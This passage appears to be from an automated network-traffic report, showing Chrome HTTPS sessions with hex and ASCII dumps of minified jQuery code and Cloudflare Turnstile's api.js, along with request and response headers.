jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-07 14:18:25 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49730	104.18.95.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:26 UTC	383	OUT	GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:26 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:26 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Thu, 02 Jan 2025 13:52:36 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8fe493bad93d431c-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 49 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Ie;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 64 61 72 6b 22 2c 22 6c 69 67 68 74 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 39 65 35 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 33 36 65 34 7d 76 61 72 20 49 72 3d 2f 5e 5b 30 2d 39 41 2d 5a 61 2d 7a 5f 2d 5d 7b 33 2c Data Ascii: OM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function it(e){return M(["auto","dark","light"],e)}function ot(e){return M(["auto","never"],e)}function ct(e){return e>0&&e<9e5}function ut(e){return e>0&&e<36e4}var Ir=/^[0-9A-Za-z_-]{3,
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 2c 65 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 68 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 5f 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 22 2c 74 72 3d 38 65 33 2c 45 74 3d 22 70 72 69 76 61 74 65 2d 74 6f 6b 65 6e 22 2c 72 72 3d 33 2c 6e 72 3d 35 30 30 2c 61 72 3d 35 30 30 2c 59 3d 22 22 3b 76 61 72 20 4e 72 3d 5b 22 62 67 2d 62 67 22 2c 22 64 61 2d 64 6b 22 2c 22 64 65 2d 64 65 22 2c 22 65 6c 2d 67 72 22 2c 22 6a 61 2d 6a 70 22 2c 22 6d 73 2d 6d 79 22 2c 22 72 75 2d 72 75 22 2c 22 73 6b 2d 73 6b 22 2c 22 73 6c 2d 73 69 22 2c 22 73 72 2d 62 61 22 2c 22 74 6c 2d 70 68 22 2c 22 75 6b 2d 75 61 22 5d 2c 6b Data Ascii: ,er=".g-recaptcha",ht="cf_challenge_response",_t="cf-turnstile-response",bt="g-recaptcha-response",tr=8e3,Et="private-token",rr=3,nr=500,ar=500,Y="";var Nr=["bg-bg","da-dk","de-de","el-gr","ja-jp","ms-my","ru-ru","sk-sk","sl-si","sr-ba","tl-ph","uk-ua"],k
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f 22 35 30 30 70 78 22 3a 6e 3f 22 34 38 30 70 78 22 3a 72 3f 22 36 35 30 70 78 22 3a 6f 3f 22 35 39 30 70 78 22 3a 22 35 37 30 70 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 42 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d Data Ascii: boseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?"500px":n?"480px":r?"650px":o?"590px":"570px"};function Be(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 63 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 53 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 63 65 28 74 Data Ascii: 0;return qe=function(o){if(o===null\|\|!cr(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,c)}function c(){return Se(o,arguments,ce(t
2025-01-07 14:18:26 UTC	1369	IN	Data Raw: 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6e 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2c 73 72 63 3a 72 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 6e 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 6e 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 Data Ascii: uld not find Turnstile script tag, some features may not be available",43777);var r=e.src,n={loadedAsync:!1,params:new URLSearchParams,src:r};(e.async\|\|e.defer)&&(n.loadedAsync=!0);var o=r.split("?");return o.length>1&&(n.params=new URLSearchParams(o[1]))
